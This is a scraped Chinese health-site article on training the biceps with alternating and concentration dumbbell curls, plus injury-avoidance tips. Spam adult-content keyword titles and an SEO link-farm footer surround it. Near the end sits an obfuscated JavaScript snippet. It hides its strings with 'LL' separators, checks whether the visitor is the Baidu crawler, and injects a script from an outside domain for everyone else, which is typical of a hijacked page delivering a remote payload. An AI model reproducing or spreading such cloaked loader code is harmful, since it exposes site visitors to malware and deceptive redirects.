久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

怎么快速練肱二頭肌啊

2017-06-12 16:45:52  來源:360常識網   熱度:
導語:肱二頭肌使我們很多男士都想擁有的,肱二頭肌也就是在手臂的上處,擁有它也是代表了力量和安全感的象征,那么我們要怎么樣的鍛煉才可以使我

肱二頭肌使我們很多男士都想擁有的,肱二頭肌也就是在手臂的上處,擁有它也是代表了力量和安全感的象征,那么我們要怎么樣的鍛煉才可以使我們的肱二頭肌更加的有力氣更加的強壯些啊,首先是要注意根據自己的實際情況來選擇適合自己的訓練方式,也不要一味的為了追求速度而傷到自己,另外鍛煉肱二頭肌是需要堅持下去。

方法:

1.交替彎舉:主要練肱二頭肌,分離肱二頭肌。

動作:坐姿(或站立),雙手持啞鈴垂于體側,掌心相對,兩肘靠身體兩側。以肘關節為支點,向上彎舉,同時前臂外旋掌心朝上,舉至最高點收緊肱二頭肌,稍停,然后控制還原。輪換做。

2.意念彎舉:主要練肱二頭肌肌峰。

動作:站立,上體自然前屈,一手持啞鈴垂于體前,上臂貼靠同側膝或腿上。另一手屈臂置于同側膝或腿上,穩定身體。持啞鈴的臂向上彎舉至最高點,使肱二頭肌收縮至極限,稍停,然后緩慢還原。

溫馨提示:

肱二頭肌訓練多數是兩只胳膊分開練的。這樣可以把注意力集中到所練的那只胳膊上。做一些復合練習時就要采用孤立原則。譬如,站立杠鈴彎舉無法將兩手分開做,但可盡量不惜用三角肌、前臂肌和胸肌上部的力量,只用肱二頭肌收縮的力量來完成動作,練習中,越“孤立”肱二頭肌,它受到的刺激就越強。

鍛煉肱二頭肌的時候最好是要注意控制好自己力度和量,不要一次性的做的太多了,避免會使我們的肌肉拉傷,另外是要注意選擇適合自己的工具來幫助我們鍛煉,從而達到我們預想的效果,其次是要注意控制好鍛煉的時間,以免出現肌肉勞損現象。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩精品一区二区三区 | 在线观看www | 99九九久久 | 欧洲亚洲精品久久久久 | www.视频在线观看 | 久久综合一区二区 | 另类天堂 | 成人精品网站在线观看 | 正在播放亚洲 | 欧美大片一区二区 | 成人欧美一区二区三区在线观看 | 国产三级在线观看 | 精品国产乱码久久 | 久久久一区二区 | 毛片久久久 | 中文一区二区 | 国产女人和拘做受视频 | 成人精品视频99在线观看免费 | 天久久 | 一区二区欧美在线 | 极品少妇一区二区 | 粉嫩av网站 | 国产成人精品一区二区三区四区 | 91在线精品一区二区三区 | 日本色道视频 | 成人免费高清 | 韩日黄色片 | 日本久久久久久 | 亚洲精品久久久久久一区二区 | 国产精品久久久久久久久久久久久久 | 亚洲精品视频在线免费 | 在线欧美色| 日韩视频免费在线观看 | 成人精品视频99在线观看免费 | 不卡日韩在线 | 亚洲国产精品免费 | 一级全黄少妇性色生活片毛片 | 日韩成人av在线 | 日韩精品一区二区三区 | 久久二区三区 | 免费观看日韩av |